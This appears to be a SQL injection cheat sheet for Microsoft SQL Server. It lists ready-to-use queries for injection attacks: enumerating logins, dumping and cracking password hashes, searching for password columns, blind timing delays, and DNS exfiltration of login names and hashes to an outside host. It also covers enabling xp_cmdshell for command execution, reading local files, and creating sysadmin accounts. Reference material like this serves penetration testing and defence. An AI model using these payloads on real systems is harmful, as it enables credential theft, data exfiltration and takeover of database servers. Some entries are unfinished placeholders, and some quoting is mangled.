MSSQL_SLQInjection_cheatsheet.txt

Version 	SELECT @@version
Comments  	SELECT 1 — comment
SELECT /*comment*/1
Current User 	SELECT user_name();
SELECT system_user;
SELECT user;
SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID
List Users 	SELECT name FROM master..syslogins
List Password Hashes 	SELECT name, password FROM master..sysxlogins — priv, mssql 2000;
SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins — priv, mssql 2000.  Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer.
SELECT name, password_hash FROM master.sys.sql_logins — priv, mssql 2005;
SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins — priv, mssql 2005
 Password Cracker 	MSSQL 2000 and 2005 Hashes are both SHA1-based.  phrasen|drescher can crack these.
List Privileges 	Impossible?
List DBA Accounts 	TODO
SELECT is_srvrolemember('sysadmin'); — is your account a sysadmin?  returns 1 for true, 0 for false, NULL for invalid role.  Also try 'bulkadmin', 'systemadmin' and other values from the documentation
SELECT is_srvrolemember('sysadmin', 'sa'); — is sa a sysadmin? return 1 for true, 0 for false, NULL for invalid role/username.
Current Database  	SELECT DB_NAME() 
List Databases 	SELECT name FROM master..sysdatabases;
SELECT DB_NAME(N); — for N = 0, 1, 2, …
List Columns 	SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'mytable'); — for the current DB only
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable'; — list colum names and types for master..sometable
List Tables 	SELECT name FROM master..sysobjects WHERE xtype = 'U'; — use xtype = 'V' for views
SELECT name FROM someotherdb..sysobjects WHERE xtype = 'U';
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable'; — list colum names and types for master..sometable
Find Tables From Column Name 	– NB: This example works only for the current database.  If you wan't to search another db, you need to specify the db name (e.g. replace sysobject with mydb..sysobjects).
SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = 'U' AND syscolumns.name LIKE '%PASSWORD%' — this lists table, column for each column containing the word 'password'
Select Nth Row 	SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins ORDER BY name ASC) sq ORDER BY name DESC — gets 9th row 
Select Nth Char 	SELECT substring('abcd', 3, 1) — returns c
Bitwise AND  	SELECT 6 & 2 — returns 2
SELECT 6 & 1 — returns 0

ASCII Value -> Char
	SELECT char(0×41) — returns A
Char -> ASCII Value 	SELECT ascii('A') – returns 65
Casting 	SELECT CAST('1' as int);
SELECT CAST(1 as char)
String Concatenation 	SELECT 'A' + 'B' – returns AB

If Statement
	

IF (1=1) SELECT 1 ELSE SELECT 2 — returns 1
Case Statement 	SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END — returns 1
Avoiding Quotes 	SELECT char(65)+char(66) — returns AB
Time Delay  	 WAITFOR DELAY '0:0:5' — pause for 5 seconds
Make DNS Requests 	

declare @host varchar(800); select @host = name FROM master..syslogins; exec('master..xp_getfiledetails ''\' + @host + 'c$boot.ini'''); — nonpriv, works on 2000

declare @host varchar(800); select @host = name + '-' + master.sys.fn_varbintohexstr(password_hash) + '.2.pentestmonkey.net' from sys.sql_logins; exec('xp_fileexist ''\' + @host + 'c$boot.ini'''); — priv, works on 2005

– NB: Concatenation is not allowed in calls to these SPs, hence why we have to use @host.  Messy but necessary.
– Also check out theDNS tunnel feature of sqlninja
Command Execution 	

EXEC xp_cmdshell 'net user'; — priv

On MSSQL 2005 you may need to reactivate xp_cmdshell first as it's disabled by default:
EXEC sp_configure 'show advanced options', 1; — priv
RECONFIGURE; — priv
EXEC sp_configure 'xp_cmdshell', 1; — priv
RECONFIGURE; — priv
Local File Access 	CREATE TABLE mydata (line varchar(8000));
BULK INSERT mydata FROM 'c:boot.ini';
DROP TABLE mydata;
Hostname, IP Address 	SELECT HOST_NAME()
Create Users 	EXEC sp_addlogin 'user', 'pass'; — priv
Drop Users 	EXEC sp_droplogin 'user'; — priv
Make User DBA 	EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin; — priv
Location of DB files 	TODO
Default/System Databases 	northwind
model
msdb
pubs
tempdb